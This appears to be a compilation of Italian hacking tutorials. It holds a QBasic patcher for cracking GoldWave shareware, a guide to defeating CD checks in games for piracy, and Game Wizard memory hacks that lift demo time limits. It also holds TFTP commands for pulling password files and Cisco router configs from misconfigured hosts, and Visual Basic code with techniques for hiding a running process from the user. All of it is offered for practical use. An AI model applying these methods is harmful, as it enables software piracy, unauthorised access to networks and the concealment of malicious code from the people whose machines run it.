'---FILE CHECK & VERSION CHECK---
PRINT "Opening file "; FileName$; "..."
PRINT ""
ON ERROR GOTO OpenFileErr
OPEN FileName$ FOR INPUT AS #1
IF NOT LOF(1) = FS THEN
PRINT "The file has not the right size."
PRINT "Check if it is the correct version."
PRINT ""
END
END IF

CLOSE #1
```

```
ON ERROR GOTO 0


'---FILE PATCH & UNPATCH---
ON ERROR GOTO PatchFileErr
OPEN FileName$ FOR BINARY ACCESS READ WRITE AS #1
PRINT "Checking file..."
PRINT ""

Data$ = STRING$(NBC, " ")
GET #1, OS, Data$

IF Data$ = CB$ THEN
PRINT "File already patched."
PRINT "Back to it's original state..."
PRINT ""
PUT #1, OS, OB$
PRINT "Now the file is unpatched!"
ELSE
PRINT "File not patched."
PRINT "Let's patch..."
PRINT ""
PUT #1, OS, CB$
PRINT "Now the file is patched!"
PRINT "Registration for FREE now!"

END IF

END


OpenFileErr:
PRINT "There was an error while opening the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END

PatchFileErr:
PRINT "There was an error while patching the file."
PRINT "run-time errorcode "; ERR
PRINT ""
END
```

Ho scritto i commenti in inglese per mettere il programma in Internet, ma comunque non penso che ci voglia tanto a capire come funziona.
Quando volete creare un patch per un altro file, tutto quello che dovete modificare e' contenuto nelle variabili all'inizio del programma. Li rielenco in italiano con alcuni commenti per farvi capire meglio:

FileName$ = "GOLDWAVE.EXE"
In questo punto, al posto di GOLDWAVE.EXE inserite il nome del file da crackare.

NBC = 6
6 e' il numero di byte da modificare. In questo caso 6.

OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0)
Al posto di 15, 133, 156... dovete inserire i byte originali del file che volete crackare.
Se i byte sono di piu' o di meno di 6, semplicemente aggiungete o togliete i CHR$() che sono in meno o di troppo.

CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144)
Stesso discorso di sopra, solamente, questa volta, i byte inseriti tra le parentesi sono quelli che volete siano scritti.

OS = 147393
L'offset dei byte da cambiare. Come trovarlo? Se come Hex editor usate l'Hexworks, per esempio, tutto quello che dovete fare e' andare a ricercare (nel Hexworks, ovviamente) dove si trovano i byte che volete modificare. Trovati quelli, sulla sinistra (o sulla barra di stato) troverete scritto l'offset dei byte. Attenzione pero'! In Hexworks, il primo byte nel file e' 0, mentre secondo il Basic, il primo byte nel file e' 1. Quindi, all'offset che troverete in Hexworks dovrete aggiungere 1. Abbastanza ovvio, no?

FS = 946176
E' la grandezza del file in byte. Se non sapete come trovare questa da soli siete degli incompetenti, e aggiungerei anche imbecilli :-))))

Notate che se volete fare un patch per la password dello screen saver, dovrete cambiare un po' il codice, perche' i byte da cambiare non sono in fila, ma iniziano a due indirizzi diversi, quindi due offset diversi. Per cui, ci sara' da aggiungere una variabile OS1$, per il secondo offset, OB1$, per i byte originali nella seconda posizione e CB1$, per i byte cambiati nella seconda posizione. E poi dovrete aggiungere il codice per il cambiamento dei byte nella seconda posizione (al secondo offset). Chiaro no? No? Studiate il basic, o scrivete il patch in un linguaggio che conoscete.

E questo e' quanto.

7. Conclusione
Bene raga. Ho finito. Penso che di tutta sta roba, se non sapevate veramente un cazzo, abbiate capito molto poco, ma non vi preoccupate... se provate a mettere in pratica ci riuscirete piano piano a crackare il vostro primo shareware da soli... ci vuole solo un po' di esperienza... Da parte mia ho cercato di darvi tutte le informazioni piu' utili che ho potuto trovare in

Internet, e di spiegarmi in maniera piu' o meno capibile. Spero che questo manualetto vi serva e che vi ricordiate di S2 in futuro... Inoltre vorrei ringraziare extasy- per avermi dato l'idea, anche se in modo implicito, di scrivere una roba del genere... E ringraziamenti vanno anche alla fabbrichetta di Plastica nella quale ho lavorato, per le sigarette che grazie a loro posso permettermi.

Mini guida per sproteggere i giochi dedicata a chi di cracking non ne sa nulla ;-)

Questa guida così come è scritto nel titolo è dedicata a chi di cracking non ne capisce nulla ma ha la necessità di sproteggere un gioco senza impazzirsi con programmi come softice e simili.
Con i consigli che troverete qui di seguito riuscirete a sproteggere solo una piccola parte dei giochi che trovate in commercio (diciamo un 20%?) ma mi sembra meglio di niente no? Allora perchè abbiamo la necessità di sproteggere un gioco?
Forse perchè non ci va di comprarlo originale o perchè non abbiamo un masterizzatore per poter fare la copia fisica? Quante volte ci è capitato che un nostro amico ci ha prestato un gioco originale che ha appena comprato e non non siamo riusciti a farlo funzionare perchè pur copiando l'intero CD su hard disk una volta lanciato l'eseguibile mi usciva sempre fuori la famosa scritta "inserire il cd nel lettore".
Gli scopi di questa guida sono:
- elencare una serie di sistemi che permettono di saltare il cd-check (presenza del cd originale all'interno del lettore)
- dare qualche consiglio su come far okkupare ai giochi il minor spazio possibile una volta che sono stati copiati su HD
- come utilizzare il game wizard per craccare i giochi (scritto da CAVALLO)
Ripeto questi sistemi funzionano solo a volte e in pochi casi ma vi assicuro che prima che anche io cominciassi ad usare softice e prima di comprarmi il masterizzatore li usavo spesso e qualche volte con una buona dose di culo e intuito riuscivo a sproteggere il gioco.

PARTE 1: VARI SISTEMI PER "SALTARE IL CD-CHECK"

Nota: è sottointeso che per far funzionare questi metodi io debba copiare l'intero cd o sua parte (vedi Parte 2) sull'HD. Solo in alcuni casi l'installazione max da parte del gioco è sufficiente quindi consiglio sempre di fare un raffronto tra installazione max e contenuto reale del cd. Molte volte alcuni file necessari pur facendo l'installazione massima vengono lasciati sul cd. Quindi controllate gente controllate!

1) METODO INFALLIBILE:

Copiate il gioco su HD, accedete a internet andate in giro per il web o per qualche canale di iRC e vedete se qualcuno ha già provveduto per voi. Nel caso riusciate in ciò il gioco riuscirete a sproteggerlo al 100%. ;-)
Dai su stavo solo scherzando... ora inizio a scrivere qualcosa di serio e di utile, comunque se non riuscite a sproteggere il gioco con nessuno dei sistemi sotto elencati provate a cercare il crack sulla rete o cominciate a studiare seriamente l'arte del cracking. un buon punto di partenza in lingua italiana è la famosa: The Xoanon's Guide to Cracking (by Xoanon).
Detto questo iniziamo seriamente o quasi ;-) .

2) CD-CHECK BASATI SULLA LABEL CD:

Ci sono alcuni giochi che per verificare la presenza del cd nel lettore usano la label del cd.
Quindi per questo tipo di giochi (non ne ho incontrati molti) basta rinominare il proprio HD con la stessa label del cd e usare successivamente il famoso comando subst.

Il subst è un comando del dos che permette di creare delle unità virtuali, in questo caso il gioco vede queste unità virtuali come un cd-rom, vediamo come funziona:

SUBST [unità1: [unità2:]percorso]
SUBST unità1: /D
  unità1:   Specifica l'unità virtuale da assegnare al percorso di ricerca.
  [unità2:]percorso Specifica l'unità fisica ed il percorso da assegnare all'unità virtuale.
  /D   Elimina l'unità virtuale specificata.
Digitare SUBST senza parametri per visualizzare l'elenco delle unità virtuali esistenti.

Un gioco che utilizza questo tipo di protezione è il bellissimo MDK, per sproteggerlo non dovete far altro che copiare il cd su HD in una dir c:\mdk ad esempio (attenzione che nel cd originale ci sono 200 mega di demo perfettamente inutili (se usate l'install scegliete l'installazione massima, okkupa circa 100MB). Una volat fatto ciò rinominate l'hd con la label del cd di Mdk (MDK)
e successivamente usate il comando subst. Nel nostro caso dovremmo scrivere subst x: c:\mdk dove x: è una lettera libera.
Nel caso incontriate giochi basati su questo tipo di protezioni vi consiglio di farvi un bel file .bat. che rinomini automaticamente la label.

3) CD-CHECK CHE SI FREGANO CON IL SUBST:

Non ci crederete ma si riescono a eliminare più cd check con il comando subst del Dos che abbiamo esaminato sopra che con altri programmi simili che esamineremo in seguito. Volete subito qualche nome? Tra quelli che mi ricordo vi potrei citare The Dig e Roland Garros 97. Esamineremo il secondo gioco in quanto più recente.
Installate normalmente Roland Garros (45MB) da CD (magari vi consiglio di usare per il CD in questo caso una lettera che non vi serve tipo G:, per fare ciò usate gestione periferiche). Una volta installato in c:\rg97 ad esempio scrivete subst x: c:\rg97 dove x: è la lettera del drive da dove avete installato il gioco (per questo motivo sopra vi avevo detto di usare una lettera in cui normalmente non avete nessuna periferica associata). La lettera del cdrom si cambia facilmente da gestione periferiche di windows95.

4) CD-CHECK BASATI SUI FILE DI CONFIGURAZIONE O DI SETUP:

A volte alcuni giochi quando vengono installati creano generalmente nella directory principale di instalalzione dei file con estensione .cfg o dei file setup.xxx (xxx è l'estensione). Io vi consiglio di dare sempre uno sguardo con il comune edit del Dos a questi file. Perchè fare ciò?
Semplice a volte all'interno di questi file troviamo diciture tipo:
cdpath= d:\
o
cd= d:\
...
Tutto quello che dobbiamo fare è cambiare queste diciture con altre di nostro comodo tipo:
cdpatch= c:\gioco1
o
cd= c:\gioco1
...
Dove gioco1 è ad esempio la directory in cui noi abbiamo copiato il gioco.

Anche in questo caso facciamo un paio di esempi. Giochi che usano questo tipo di protezione sono ad esempio Theme Hospital e PowerF1. Nella dir principale dei giochi in questione troviamo un file .cfg. Diamoci un occhiata con l'edit del dos e subito noteremo che compare la lettera d:\ identificativa del CD. Bene sostituiamola con il path della dir in cui noi abbiamo installato il
gioco e in questo modo il cd-check è superato.

5) CD-CHECK CHE SI FREGANO USANDO PROGRAMMI TIPO FAKECD O 0CD

Indispensabili per questo tipo di sprotezione è il possesso dei due programmi sopracitati, ce ne sono anche degli altri simili ma io vi consiglio questi due perchè sono quelli che mi hanno dato più soddisfazioni. Usarli è semplicissimo e di solito vanno abbinati al comando subst che abbiamo esaminato precedentemente.
Questi due programmi permettono di emulare il Cd in maniera abbastanza buona ma solo in alcuni casi quindi non ci fate troppo affidamento non è tutto oro quello che luccica (cazzo ma sono un poeta!). Per l'uso di questi programmi io consiglio di:
- usarli sotto dos (non il prompt)
- non aver il driver mscdex installato (il cd-rom)
- di usarli abbinati al comando subst

Quindi in questo caso non mi dilungherò in spiegazioni ma passo direttamente ad un'esempio.
Nel primo Tomb Raider (il primo non so il secondo!) il cd check viene facilmente saltato usando 0CD e il comando subst abbinati. Naturalmente il comando subst lo uso sulla "stessa lettera" in cui io ho usato il fake cd o lo 0cd.
p.s. se volete far funzionare i nude patch del suddetto gioco dovete usare per forza la procedura sopra descritta.

6) CD-CHECK CHE SI FREGANO CON VIRTUAL-CD

Questo programma secondo me è mitico perchè riesce a fregare molte delle protezioni esistenti.
I giochi che si possono fregare con questo programma sono tantissimi quindi cercate di procurarvelo.
Come funziona? Be è semplicissimo, basta lanciare il programma inserire il cd da "craccare" e al resto pensa tutto lui! Praticamente il programma compatta in un unico file tutto il contenuto del cd e quando noi vogliamo giocare con il gioco in questione mi basta lanciare il virtual cd cliccare sul gioco desiderato e via!
Come ho già detto poche righe sopra secondo me questo programma è quello che da più soddisfazioni dal punto di vista di pratico in quanto si riescono a craccare moltissimi giochi ci sono però dei contro:
- per fare funzionare i giochi in questione io devo usare sempre detto programma
- il programma mi fa una sorta di immagine dell'intero cd includendo quindi anche cose che a volte possono risultare inutili tipo i demo o le directx e io non le posso eliminare e ciò causa occupazione di spazio su HD del tutto inutile
- funziona solo sotto windows 95

7) FREGHIAMO IL CD-CHECK TRAMITE IL REG EDIT DI WINDOWS 95

Secondo me regedit (lo trovate all'interno della dir di windows 95) è uno degli strumenti più belli di windoze, ci si possono fare un sacco di cose, ma vediamo come usarlo per provare a saltare qualche cd-check (se non ricordo male funziona con Diablo tra gli altri)

Allora lanciamo il reg edit andiamo in:
HKEY_LOCAL_MACHINE
e successivamente in:
SOFTWARE
Guarda che bello ci sono tutte le marche dei vari giochi che ho installato sul mio picci (naturalmente stiamo parlando di giochi che funzionano solo per windows 95, e che facendo l'installazione, vanno a modificare questa sezione del file di registro). Che faccio io?
Be semplice vado a cercare fra i vari software il mio gioco e do un okkiata ai "Dati". Se sono tanto fortunato da trovare Cd_Path o roba simile lo vado a modificare in maniera alquanto agile. Ci siamo capiti no? Chiudo regedit e provo a lanciare il gioco. Questa procedura a volte è sufficiente molte altre volte no.

Prima di passare alla parte 2 un po' di consigli:
- mi raccomando controllate che tutte le parti del cd siano installate (potete evitare di copiarvi le directx e i demo inclusi spesso nei cd)
- i metodi sopra elencati funzionano si ma solo a volte, cosa saggia sarebbe lavorare di debugger (leggetevi la guida di xoanon
- se proprio non riuscite a afre nulla masterizzatevi il cd o provate a chiedere in giro il crack (trovare crack per giochi è molto difficile, fate prima a chiedere dell'eseguibile magari)
- mi raccomando quando modificate i file di cfg o simili fate sempre una copia di riserva
- so che molte cose non sono spiegate bene, ma cercate di capirmi molte delle sprotezioni spiegate sopra con un po' di pratica e culo non necessitano di ulteriori spiegazioni
- in molti casi occorre usare un po di cervello
- sicuramente potrete avere più soddisfazioni usando il programma virtual cd (ultimamente sproteggere i giochi è più duro di una volta!)

PARTE 2: "RIPPIAMO IL CD?"

Cosa vuol dire "rippare?" be in parole povere, molto povere, vuol dire eliminare parte dei giochi che sono inutili e che okkupano solo spazio su hard disk. Quali sono queste parti? Be di solito tutti i maggiori gruppi tendono a rippare quelli che sono i filmati, le musiche (solo se in formato wav), le direct x, i demo o i filmati dimostrativi che sono contenuti all’interno dei cd, i vari linguaggi (di solito si lascia solo l’inglese) ecc.
Una volta rippato il gioco generalmente viene compresso usando programmi tipo il pkzip o il rar, suddividendolo in vari dischetti da 1.4 mega per una eventuale archiviazione.
Quando io copio il mio gioco su cd per “craccarlo” già posso sin da subito eliminare le direct x e i vari demo o filmati inclusi nelle subdirectory che non riguardano il gioco vero e proprio.
Una volta che il gioco sta su hard disk provo inanzitutto a saltare il cd-check con uno dei modo sopra elencati dopo di che passo a ripparlo. Molti giochi al loro interno hanno dei menu che consentono di eliminare la musica dal gioco i filmati, attivando queste opzioni, salvando la configurazione, io potrò già tranquillamente eliminare i filmati e le musiche wav (riconoscerli non è difficile, di solito sono contenuti in apposite sottodirectory con nomi tipi Video, Music, Sound, e poi generalmente okkupano decine di mega).
Se i giochi in questione non presentano tali opzioni al loro interno posso utilizzare vari sistemi (nel 90% l’opzione musica abilitata/disabilitata è presente quindi prendero’ in considerazione vari sistemi per rippare i filmati):

- cancellare i vari file di filmato e provare a lanciare il gioco senza di questi
- cancellare i filmati e creare dei file di lunghezza 0 con stesso nome e estensione di quelli reali
- cancellare i vari file, tenere solo quello che okkupa il minor numero di K e fare varie copie di questo cambiandogli però nome con quelli dei vari file che abbiamo cancellato

Stesso discorso può valere per le musiche in wav, o i dialoghi presenti all'interno dei giochi.
Ripeto che comunque molti giochi al loro interno hanno le opzioni per disabilitare queste cose quindi…
Be credo che sia tutto.
Il gioco lo avete sprotetto, le cose in più le avete eliminate, non vi resta che zippare i vostri giochi…
Vi assicuro che avrete molta soddisfazione.

PARTE 3: USARE IL GAME WIZARD 32 PRO PER SPROTEGGERE I GIOCHI BY CAVALLO.

Eh si', sono riuscito a infilarmi anche in questa guida, spero che non dispiaccia a nessuno !!!
Andiamo ad ANAL-izzare :-) il funzionamento del Game Wizard 32 Pro 3.0, molto utile x poter cheatare con i giochi ma piu' che questo mi interessa una sua applicazione diciamo piu' cattiva; illustro comunque i possibili utilizzi del suddetto programma (che per chi non lo sapesse gira sotto DOS):

GW permette di cercare nella memoria dei particolari valori che ci servono (es. Munizioni, Vita etc..), settarli al valore che desideriamo, "freezarli" cioe' bloccarli su un dato valore, salvare frame (immagini) del gioco che ci interessa, editare manualmente la memoria Ram, salvare la situazione totale della memoria del gioco che ci interessa cosicche' saremo in grado in futuro di ritornare nella stessa situazione di gioco (utile per i giochi che non permettono di salvare la posizione ma ATTENZIONE, se salvate tutta la memoria per es. 16mega, vi ritroverete un file di dimensioni considerevoli sull' HD!) e altre cosette tipo un File Manager integrato, la possibilita' di bloccare il PC con una password antisgamo e di poter crashare al Dos in caso di impasto del computer (cosa non molto rara...), e infine settare la velocita' dei giochi (utile con quelli vecchi che sui PC moderni sgheggiano troppo e fanno cagare).

La versione Professional del GW permette di effettuare ricerche in 3 modalita':
Basic / Intermediate / Advance
e su 5 Range di Memoria :
Conventional / 4 Mb / 8 Mb / 16 Mb / Max
Tralasciando i range di memoria (anche se consiglio 4/8 Mb) focalizziamo la nostra attenzione sulle modalita' che riassumerei cosi' :

Basic : ricerca i valori proprio come li avete messi cioe' se io metto 5 allora il GW pensa "Cazzo, questo qui vuole proprio il valore 5" e ve lo cerca paro paro nella memoria (quanta ne avete scelta nel range); questa opzione va bene per valori fissi come Munizioni, Vite, Cuoricini, Pompini etc...

Intermediate : ricerca i valori "approssimandoli"; diciamo che io lo utilizzo su base percentuale (non so se si riesca ad usare in altro modo) cioe' il GW, si' sempre lui, pensa "Miiiii, kisto qui e' nu tipo tosto, se dice 25 e poi 50 e poi 100 intende dire che l'ultimo valore e' circa 4

volte il primo e 2 volte o' secondo". Consigliato per cercare valori tipo Barra di Energia e simili..

Advance : detto anche dai matematici "metodo Cartesio" : ricerca solo permanenze e variazioni dello stato mentale di Cavallo, no volevo dire della memoria permettendo cosi' di andare a cercare le cose piu' disparate (e' un po' un casino da usare)

"Si ma cazzo non ci hai ancora detto come si usa sto cazz'i'programma.." Ok, un momento, arrivo al dunque:

Il programma e' un TSR (Terminate & Stay Resident, minchia come sono bravo!!) cioe' resta residente in memoria aspettando che voi lo chiamate premendo il tasto \ quello di fianco all' 1 sopra al TAB, la backslash o com'o'cazz'se chiama. Una volta chiamato scegliete la 1ma opzione, e il tipo di ricerca e cercate quello che volete, poi ritornate al gioco, lo usate, richiamate il GW e cercate il valore ancora dicendo che valore ha (nel beginner e nel intermediate) o se e' cambiato o meno nell' Advance.
Non basta fare questa procedura una volta sola in quanto il GW "filtra" la memoria volta dopo volta e quindi bisogna iterare la procedura (n-r)^õ volte (ehm, scherzo, intendo dire un po' di volte) x trovare lo/gli indirizzo/i esatti.
P.S. Come penso avrete capito piu' avanzate con il livello di "penetrazione mnemonica" (beg->int->adv) piu' tempo ci vuole a trovare gli indirizzi esatti.

Comunque il programma ha un bel tutor x imparare ad usarlo quindi mi sono gia' fin troppo rotto le palle di star qui a spiegarvi come funziona il GW.

Ora vi spiego un bell'utilizzo che ho fatto del GW nell'evitare il classico rompimento di coglioni del giocare con i Demo; prendero' 2 esempi molto simili (anche xche' lo ho fatto con questi e basta!!):
NBA Live '95 e Fifa '97 :
io mi domando e dico : "Ma perche' diavolo devo giocare solo 1 o 2 minuti a un gioco per provarlo? StoCazzo ! io ci voglio giocare fin quando mi pare !!!"

Infatti Nba Live '95 (lo so un po' vecchietto ma penso si riesca anche con la 97 e magari con la 98) : limite di tempo 2 tempi da 1 minuto (cazzo ma si puo' uno inizia a giocare e gia' scattano i secondi).
Ma anche Fifa '97 , 1 solo tempo da 2 minuti, che merda e' ?
Ecco quindi che il prode Cavallo parte col suo fido GW32 in sella ad eliminare le fetide limitazioni : dopo un inutile tentativo con l'advanced mode sono giunto alla constatazione che settando una bella ricerchina intermediate ce la si cava con scioltezza: nel caso di Nba Live basta settare come ricerche il minuto di partenza come 100 (%) a 30 secondi stoppate e mettete 50 (%) e alla fine 0, ripetete un po' di volte, magari inframezzando con varianti tipo 75(%) o 25(%) rispettivamente a 45 e 15 sec.
Smanettando un po' cosi' arriverete ad avere mano a mano sempre meno indirizzi, quando ve ne restano solo 3-4 potete usare l'opzione per importarli direttamente (non ricordo come si chiami, e non ho voglia di star qui a cercarla) nella Table of Memory Locations
dove potete cambiare il valore o freezarlo , io consiglio di salvare la tabella con un nome, farvi un bel batch file che chiami il gw e poi il demo del gioco, cosi' appena parte la partita dimostrativa (occhio la partita, non il demo !!) premete il tasto backslash e andate su table of.. loadate la tabella prefatta e settate il tempo a quello che volete (non ricordo che base strana usi il gioco, fate un po' di prove).
Lascio ai fidi lettori :-) come esercizio la semplice ricerca dei falli e/o dei punti delle 2 squadre (non oso pensare se si possa taroccare qcos'altro, fatemi sapere !!). Per Fifa'97 il discorso e' lo stesso, l'unica cosa che essendo un gioco di calcio (ma va') il tempo va da 0 a 2:00 quindi dovete settare 0 a 0:00 e

100 a 2:00 e quindi il taroccos viene piu' smarzo xche' le alternative sono o bloccare il timer o riportarlo indietro quando volete (e piu' bello il lavoro con Nba, fidatevi,si setta il tempo all'inizio del tempo e poi si gioca..)

Visto che sono buono vi do anche gia' gli indirizzi di memoria :

Nba Live '95 Time : BYTE *00232D31
Fifa '97 Time   : BYTE *00277784

Per falli o altre cose divertitevi voi (nel senso buono, non e' un invito all'omosessualita' :-)) !!!

NOTE:
Tutti gli errori di itagliano, tutti gli orrori ortografici, tutte le cazzate dette nelle Parti 1 e 2 sono copirait del Dr. Slump. Quindi se su questa guida ritenete che ci siano scritte troppe cazzate o che usando uno dei metodi sopra elencati fate qualche cazzata, che vi devo dire: STI CAZZI
Bel discorso del cazzo questo no?
Non so se l’illustre Cavallo si associerà con queste note ma conoscendolo…

Più alcolico che mai Dr. Slump

Soggetto : TFTP, Trivial File Transfer Protocol

Porta : 69 UPD

Caratteristiche : Serve per avviare dispositivi di rete (es. router) o per il
boot di postazioni prive di disco.

Uso: Se non configurato in modo corretto si puo utilizzare il seguente
protocollo per trasferire i file /etc/passwd sul proprio sistema, utile
per avere l'elenco dei nomi utente (per un eventuale brute forcing) e
nel caso in cui non venga utilizzato etc/shadow pure dei hash delle
password ! Eventualmente da questo (sempre tramite il download) si
possono ricavare informazione utili appunto sui router...

Download via TFTP del file di configurazione Cisco
^^

Sfruttare TFTP per scaricare i file di configurazione puo essere molto
semplice se il sysadm non ha attivato qualche filtro che impedisca l'accesso
al TFTP o ha usato nomi banali per il file .cfg . Spesso porta lo stesso nome
del relativo DNS.

Esempio (ip e dns inventato) :
Ip: 144.145.146.147

Facciamo na ricerca DNS e scoprimo che corrisponde a : tampax.132.rtr

Quindi facciamo:

```
[root@pizza] tftp
> connect 144.145.146.114
> get tampax.132.rtr.cfg
> quit
```

Questo file conterra' probabilmente i vari nomi comunita' ed eventuali liste
di controllo degli accessi.

Ok, la prossima volta parlero meglio dei router Cisco, bye...

Tecniche di mascheramento di un processo, ossia come fare eseguire del codice senza che lo si veda.

Premessa:

prima di tutto vorrei fare una premessa quasi teorica per capirci nel resto del testo.
Cercherò di non essere troppo tecnico, me ne scusino i super esperti, non fustigatemi troppo forte non sopporto il dolore.
Il testo è marcatamente orientato all'ambiente Windows, mi perdonino i possessori di Linux & affini, parte del discorso vale anche per loro, ma solo una minima parte.

PROCESSI

PROCESSO, cosa è ?
Un processo è un programma in esecuzione.
Quando create un programma (un exe per semplicità) con il vostro compilatore preferito, create una immagine binaria rilocabile, cioè caricabile in memoria ad un indirizzo non prefissato.
Per i puristi lo so, lo so che i file .com non sono rilocabili, ma vi ricordo che stiamo parlando di Windows.

Quando viene fatto il doppio click sull'icona l'immagine viene caricata in memoria (dal loader o dispatcher del O.S.) vengono create tutte le strutture dati necessarie al O.S. tra cui il PID o process Identification e quindi messa in coda di attesa fino a quando la CPU la degna di attenzione. (cioè la esegue)
Per vedere il PID se avete NT vi basta fare CTRL-ALT-DEL avviare il Task-manager, e selezionare il tag processi, in 95 boh non lo ricordo.

Il programma a questo punto si chiama processo.
Ma non pensiate che le cose sono così semplici: ci rimangono ancora da parlare di thread e OLE IN-PROCESS e OUT-PROCESS.

L'importante da sapere a questo punto è che il nostro codice ha il suo SPAZIO DI PROCESSO e gira li dentro
Ossia è come una scatola chiusa gli altri processi non vedono i suoi dati e lui non può leggere/scrivere i dati di altri processi.
p.s.: please evitate commenti sulla meravigliosa e stabile gestione dei processi di WinZoZZ he he, vi ricordo che anche se ci ha messo circa 10 anni anche Microsoft è riuscita a fare un prodotto come NT,
della serie almeno uno sguardo a Minix lo si poteva dare, ma tutto sommato ...meglio tardi che mai ;-)

THREAD:
Un processo poi può essere scritto in modo da essere suddiviso in tanti piccoli "processini" che però condividono

Lo spazio di indirizzamento (fondamentalmente i dati), le strabilianti funzionalità di multitasking di Windows permettono di mandare in esecuzione non un processo per volta ma un thread per volta,
es.: se il processo A crea tre thread A-1 A-2 A-3 e il processo b crea B-1 E B-2
il O.S. a turno dà a tutti e 5 thread un "time slice" ossia una fettina di tempo di CPU: e se A-2 è in attesa che l'utente digiti qualche cosa alla tastiera o un dato dalla seriale, viene messo in attesa e gli altri 4 thread continuano a girare felici e contenti.
E qui evito volutamente, che non è il caso, di trattare la differenza fra Windows 95/98 e NT, dico solo che NT ha il multitasking preemptive, ossia è esattamente come ho detto prima, mentre 95 ha il multitasking non preemptive (detto anche cooperativo) ossia se un thread è in attesa o è inchiodato o è scritto con il ...bip può bloccare tutto il O.S.
(nota di Bacco: si riesce a inchiodare anche NT, io ci sono riuscito con un thread di priorità TIME-CRITICAL)

OLE COM e amenità simili:
di queste cose ne parliamo dopo, per ora è sufficiente sapere che una volta caricati diventano o processi o threads di un processo già esistente.

Ora mi riferirò ai processi ma la cosa vale tranquillamente anche per i threads.

Generalmente un processo in Windows crea una o più finestre e per default "lascia il segno" nella task-bar, alcuni processi possono poi mettere una iconetta nel tray vicino all'orologio, ma noi cerchiamo di nascondere l'exe non di renderlo più visibile, quindi non consideriamo questa funzionalità che andrebbe fatta apposta.

Ogni finestra possiede:
un ID che è il suo Handle - il nome con cui chiamarla -
la Caption: ossia il nome che si vede nella barra in alto
una classe di appartenenza,
altri parametri.
Se volete "spippolare" su questi dati vi consiglio spy++ è una utility fornita con il VisualStudio davvero carina

Ora non ci rimane che parlare di Servizi.

SERVIZI

Un processo si può strutturare come eseguibile ossia va lanciato a manina (tipo doppio click) e se si fa il log-out al sistema tutti i processi vengono terminati.
Un servizio, è leggermente diverso, innanzitutto va registrato nel sistema ossia bisogna dire al SCM (ServiceControlManager che fa parte del O.S.) che esiste anche lui.

ossia viene creata una entry nel registry (spero sappiate cosa è il registry,
altrimenti ....trovatevi un articolo) e viene automaticamente caricato quando
parte il sistema, anche se nessun utente si è loggato al sistema.
Se un utente fa il log-out il servizio rimane attivo.
Se premete CTRL-ALT-CANC non lo vedrete nella lista dei task; eh per forza, non
è un task è un servizio !!!
Se però il servizio crea delle finestre, con spy++ potrete saperne l'handle o
gli altri dati.
Normalmente i servizi NON hanno interfaccia utente, esempio: Wingate (nel senso
del gatekeeper), IIS, PWS girano tutti come servizi,

Per quanto ne so i servizi sotto NT e w9x sono diversi:
su NT per fare le cose bene si crea il servizio come file dll e si scrive un
exe o un cpl (icona del control panel) che si interfaccia con il SCM Usando le
API CreateServices() StartService(), e altre,
su w9x il SCM è più semplice e fare un servizio è meno complesso.
Ci sono due strade:

1. fare diventare un processo un servizio; in questo modo si fa sparire il
processo ma in se si riavvia la macchina questo deve essere riavviato e l'API
da usare è la RegisterServiceProcess()
(p. s. non ho mai provato se funziona anche su NT)
2. registrare nel sistema il processo come servizio usando una chiave del
registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunService

Bene gente ora viene la parte strana, e poi gli esempi.
OLE Automation Servers:
OLE è una cosa che Bill ha inventato perché l'informatica era troppo semplice,
e lui (che invece di trombare le stagiste come il suo omonimo) piace incasinare
il mondo dell'informatica ha creato nuovi tipi di interazione fra processi.
OLE un tempo voleva dire Object Linking and Embedding ora NON vuole più dire
nulla ! e si basa su un'altra interfaccia (tanto ce n'erano poche in giro)
chiamata COM (Component Object Model) e qui mi fermo perché anche le mie
conoscenze cominciano a perdersi.

OLE Server è praticamente un processo o un o o più threads che esportano delle
funzionalità a chi le richiede:
Quando si mette un grafico excel in un doc Word, vedrete che, cliccando sul
grafico, word si trasforma e prende i menù di excel.

OLE Server: sono di due tipi
IN-PROCESS: hanno la forma di dll, ocx e quando vengono caricati girano nello
spazio di processo del programma chiamante.
OUT-PROCESS: sono degli exe e possono rispondere ad altri programmi se questi
li chiamano (Excel, Word, Iexplorer) o vivere da soli e come qualunque normale
eseguibile.

La grossa differenza è che si creano il proprio spazio di processo !
(se non mi sbaglio anche quando girano embedded chiamati da un altro exe)

in ogni caso per essere visti come OLE SERVER devono essere registrati, e
quindi avranno la loro bella chiavetta nel registry.
Cioè il CLSID: cioè quella incomprensibile spataffiata di cifre esadecimali.

Bene gente se avete resistito fino a qui vi siete meritati la lista dei
possibili modi per fare girare del codice in maniera più o meno invisibile:
(ma non pensate che il brutto sia completamente passato hi hi hi)

THE GHOSTS

1) Eseguibile
2) Servizio
3) Driver Virtuale Vxd
4) Dll cuscinetto
5) Subclassing
6) hooks
7) shell extension
8) Iexplorer helper o Netscape plug-in
9) Embedded Exe

Vediamo una panoramica, su come funzionano.
1) è un normale eseguibile si può quindi creare con qualsiasi ambiente di
sviluppo la cosa particolare è quella di renderlo invisibile alla task list e
non farlo vedere nella barra di avvio.

Un metodo è quello di fare girare il programma come se fosse un servizio

Eccovi per regalino del nostro benamato Master il codice in VB per la soluzione
uno, per i C-isti, beh guardatevi il codice, mi sembra davvero una offesa
morale tradurvelo.

```
' Le API ------------------------------
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" _
    (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0

' Le due funzioni --------------------------

Public Sub nascondi()
  Dim identificatore As Long
  Dim registrazione As Long
  identificatore = GetCurrentProcessId()
```

```
  registrazione = RegisterServiceProcess(identificatore, _
    RSP_SIMPLE_SERVICE)
  End Sub


Public Sub rivela()
  Dim identificatore As Long
  Dim registrazione As Long
  identificatore = GetCurrentProcessId()
  registrazione = RegisterServiceProcess(identificatore, _
   RSP_UNREGISTER_SERVICE)
End Sub

' -------------------------------------------------------
```

2) Servizio: il servizio di per sé è già piuttosto invisibile, non compare
nella Task-list non ha icone,
i servizi però vanno registrati nel Registry, in modo che partano
automaticamente ad ogni avvio del sistema
sul mio NT si trovano HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services
ma la procedura per crearli non è proprio banale.
Su W9x e penso anche su NT si può usare la chiave del registry e metterci il
vostro eseguibile
